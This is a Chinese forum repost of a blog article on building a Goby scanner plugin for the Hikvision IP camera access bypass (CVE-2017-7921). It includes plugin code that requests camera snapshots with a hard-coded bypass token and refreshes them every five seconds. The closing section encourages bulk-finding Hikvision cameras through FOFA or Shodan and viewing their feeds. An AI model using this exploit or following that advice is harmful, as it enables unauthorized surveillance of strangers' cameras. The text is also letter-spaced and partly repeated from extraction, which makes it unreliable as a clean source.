搜索

[17795] 2020-07-24_插件分享可以查看摄像头快照的“Hikvision插件”

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-07-24_插件分享可以查看摄像头快照的“Hikvision插件” 插 件 分 享   |   可 以 查 看 摄 像 头 快 照 的 “ H i k v i s i o n 插 件 ” 原 创   V a n i l l a   G o b y S e c   2 0 2 0 - 0 7 - 2 4 前 言 ： 前 言 ： 之 前 在 G o b y 群 里 看 到 有 人 讨 论 过 海 康 这 个 漏 洞 ， 自 己 平 时 也 有 遇 到 过 。 该 漏 洞 能 够 查 看 摄 像 头 的 的 快 照 ， 但 是 每 次 都 需 要 手 动 去 访 问 。 耳 东 表 姐 一 直 催 插 件 （ 没 有 ） ， 所 以 写 一 个 简 单 的 验 证 插 件 来 熟 悉 熟 悉 g o b y 的 插 件 开 发 流 程 。 希 望 通 过 此 次 分 享 ， 吸 引 更 多 人 大 佬 能 加 入 到 开 发 插 件 的 行 列 中 来 ， 搞 点 牛 批 的 插 件 出 来 。   0 x 0 0 1   插 件 效 果 插 件 效 果 当 扫 描 出 H i k v i s i o n   I P   C a m e r a   A c c e s s   B y p a s s 漏 洞 后 ， 会 在 漏 洞 页 面 和 资 产 详 情 页 面 显 示 ” 验 证 按 钮 ” （ 和 M S F 插 件 是 一 样 的 ） ， 点 击 之 后 即 可 弹 窗 看 到 摄 像 头 快 照 P P T （ 5 秒 刷 新 一 次 ） 。
  0 x 0 0 2   开 发 流 程 开 发 流 程 1 .   注 册 自 定 义 组 件 要 触 发 的 命 令 注 册 自 定 义 组 件 要 触 发 的 命 令 G o b y 官 方 的 开 发 文 档 里 有 很 详 细 的 说 明 ， 也 有 提 供 样 例 项 目 ， 将 其 下 载 并 解 压 到 g o b y / e x t e n s i o n s 目 录 下 ， 然 后 运 行 g o b y 就 能 看 到 d e m o 了 ， 剩 下 的 就 是 改 了 : 提 示 提 示 :   因 为 要 在 扫 描 结 果 中 存 在 该 漏 洞 才 能 显 示 该 组 件 。 所 以 这 里 使 用 了 控 制 组 件 是 否 显 示 的 回 调 命 令 ， 它 绑 定 在 v i e w s 的 v i s i b l e 字 段 上 ， 根 据 其 返 回 的 布 尔 值 来 决 定 是 否 显 示 该 组 件 。 2 .   配 置 视 图 入 口 点 配 置 视 图 入 口 点 插 件 的 入 口 点 ， 我 选 在 漏 洞 列 表 页 ， 需 要 在 里 进 行 配 置 ， 即 c o n t r i b u t e s . v i e w s . v u l L i s t , 填 写 想 要 的 标 题 、 对 应 的 命 令 、 以 及 控 制 该 组 件 显 示 的 回 调 命 令 。 3 .   开 发 开 发 h t m l 页 面 页 面 e x p o r t s . a c t i v a t e   =   a c t i v a t e ; f u n c t i o n   a c t i v a t e ( c o n t e n t )   {         g o b y . r e g i s t e r C o m m a n d ( ' H i k v i s i o n ' ,   ( c o n t e n t )   = >   {                         l e t   p a t h   =   _ _ d i r n a m e   +   " / i n d e x . h t m l ? h o s t i n f o = "   +   c o n t e n t . h o s t i n f o ;         / / 设 置 打 开 新 窗 口 的 h t m l 文 件 路 径 ， 并 传 入 当 前 h o s t i n f o 信 息                 g o b y . s h o w I f r a m e D i a ( p a t h ,   " H i k v i s i o n 登 录 绕 过 验 证 " ,   " 8 0 0 " ,   " 6 0 0 " ) ;         / / 打 开 一 个 8 0 0 * 6 0 0 的 i f r a m e 窗 口 ， 窗 口 标 题 为 “ H i k v i s i o n 登 录 绕 过 验 证 ”         } ) ;         g o b y . r e g i s t e r C o m m a n d ( ' H i k v i s i o n _ v i s i ' ,     ( c o n t e n t )   = >   {                         r e t u r n   c o n t e n t . n a m e   = = =   " H i k v i s i o n   I P   C a m e r a   A c c e s s   B y p a s s ( I C S A - 1 7 - 1 2 4 - 0 1 / C V E - 2 0 1 7 - 7 9 2 1 ) "         / / 对 漏 洞 名 称 进 行 判 断         } ) ; } e x p o r t s . a c t i v a t e   =   a c t i v a t e ; p a c k a g e . j s o n " c o n t r i b u t e s " :   {                 " v i e w s " :   {                         " v u l L i s t " :   [                                 {                                         " c o m m a n d " :   " H i k v i s i o n " ,                                         " t i t l e " :   " 验 证 " ,                                         " v i s i b l e " :   " H i k v i s i o n _ v i s i "                                 }                         ]                 }
官 方 使 用 的 l a y u i ， 因 为 不 需 要 复 杂 的 界 面 ， 直 接 就 在 给 的 样 例 H T T P 发 包 插 件 的 基 础 上 去 改 。 开 发 流 程 很 简 单 ， 因 为 我 是 真 的 菜 ， 所 以 请 教 了 我 的 同 事 @ M a 1 t o b i o s e 开 发 流 程 如 下 ： 开 发 流 程 如 下 ： 1 .       获 取 i f r a m e 的 参 数 ， 这 段 是 直 接 从 官 方 样 例 里 拿 过 来 简 单 做 了 下 修 改 ： 2 . 拿 到 漏 洞 的 i p 后 进 行 拼 接 ， 将 返 回 的 图 片 传 给 定 义 好 的 I M G 标 签 ， 并 吗 ， 每 5 秒 一 次 进 行 循 环 请 求 ： 开 发 测 试 完 之 后 就 是 打 包 上 传 了 ， 因 为 直 接 是 拿 官 方 样 例 修 改 的 ， 所 以 目 录 结 构 不 需 要 再 重 构 。 4 .   打 包 上 传 打 包 上 传 打 包 前 需 要 注 意 的 两 点 ： 一 是 d e m o 的 g i f 需 要 生 成 一 个 在 线 的 地 址 ， 因 为 g o b y 还 不 支 持 还 没 实 现 抓 取 r e a d m e 图 片 。 二 是 压 缩 包 和 文 件 夹 名 称 须 保 持 一 致 ， 文 件 放 置 如 下 图 所 示 。 5 .   更 新 更 新 因 为 更 换 d e m o 图 地 址 ， 所 以 我 更 新 了 一 次 版 本 。 打 开 修 改 版 本 号 ， 以 及 在 新 增 更 新 说 明 。 更 新 上 传 过 程 中 还 遇 到 一 个 b u g ： 没 有 权 限 ， 但 是 耳 东 小 姐 姐 积 极 沟 通 复 现 解 决 掉 了 。 f u n c t i o n   G e t I f r a m e Q u e r y S t r i n g ( n a m e ,   i d )   {             v a r   r e g   =   n e w   R e g E x p ( ' ( ^ | & ) '   +   n a m e   +   ' = ( [ ^ & ] * ) ( & | $ ) ' ,   ' i ' ) ;             v a r   r   = w i n d o w . p a r e n t . d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . c o n t e n t W i n d o w . l o c a t i o n . s e a r c h . s u b s t r ( 1 ) . m a t c h ( r e g ) ;             i f   ( r   ! =   n u l l )   {             r e t u r n   d e c o d e U R I ( r [ 2 ] ) ;             }             r e t u r n   n u l l ; }   / /   拼 u r l         v a r   u r l   =   ( " h t t p : / / " + G e t I f r a m e Q u e r y S t r i n g ( " h o s t i n f o " ,   " g o b y - i f r a m e " ) + " / o n v i f - h t t p / s n a p s h o t ? a u t h = Y W R t a W 4 6 M T E K " ) ;         w i n d o w . o n l o a d   =   f u n c t i o n   ( )   {                 g e t ( )         }         s e t I n t e r v a l ( f u n c t i o n   ( )   {             g e t ( ) ;         } ,   5 0 0 0 ) ;         / /   循 环 请 求         f u n c t i o n   g e t ( ) {             $ ( " # t e s t " ) . a t t r ( ' s r c ' , u r l   +   " & t = "   +   M a t h . r a n d o m ( ) ) ;         } p a c k a g e . j s o n C H A N G E L O G . m d
  0 x 0 0 3   小 结 小 结 G o b y 的 开 发 文 档 里 写 的 很 详 细 很 清 楚 ， 开 发 整 个 插 件 也 就 用 了 一 个 小 时 的 时 间 。 当 然 也 是 因 为 功 能 比 较 简 单 ， 感 觉 没 啥 太 大 用 处 ， 主 要 是 为 了 熟 悉 G o b y 的 插 件 开 发 流 程 。 理 论 上 来 说 插 件 能 够 搭 配 理 论 上 来 说 插 件 能 够 搭 配 G o b y 实 现 很 多 场 景 的 应 用 ， 但 是 因 为 插 件 功 能 刚 开 放 没 有 成 为 亮 点 ， 只 能 用 实 现 很 多 场 景 的 应 用 ， 但 是 因 为 插 件 功 能 刚 开 放 没 有 成 为 亮 点 ， 只 能 用 J S 开 发 也 比 较 有 限 制 性 。 开 发 也 比 较 有 限 制 性 。 表 哥 们 可 以 利 用 F O F A 插 件 和 大 壮 表 哥 开 发 的 S h o d a n 插 件 查 询 海 康 威 视 摄 像 头 资 产 ， 并 批 量 导 入 ， 扫 出 漏 洞 后 使 用 H i k v i s i o n 插 件 看 P P T （ 你 懂 的 ） 。 漏 洞 详 情 可 参 考 ： h t t p s : / / w w w . s e e b u g . o r g / v u l d b / s s v i d - 9 6 4 6 9 插 件 开 发 文 档 ： h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y E x t e n s i o n 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理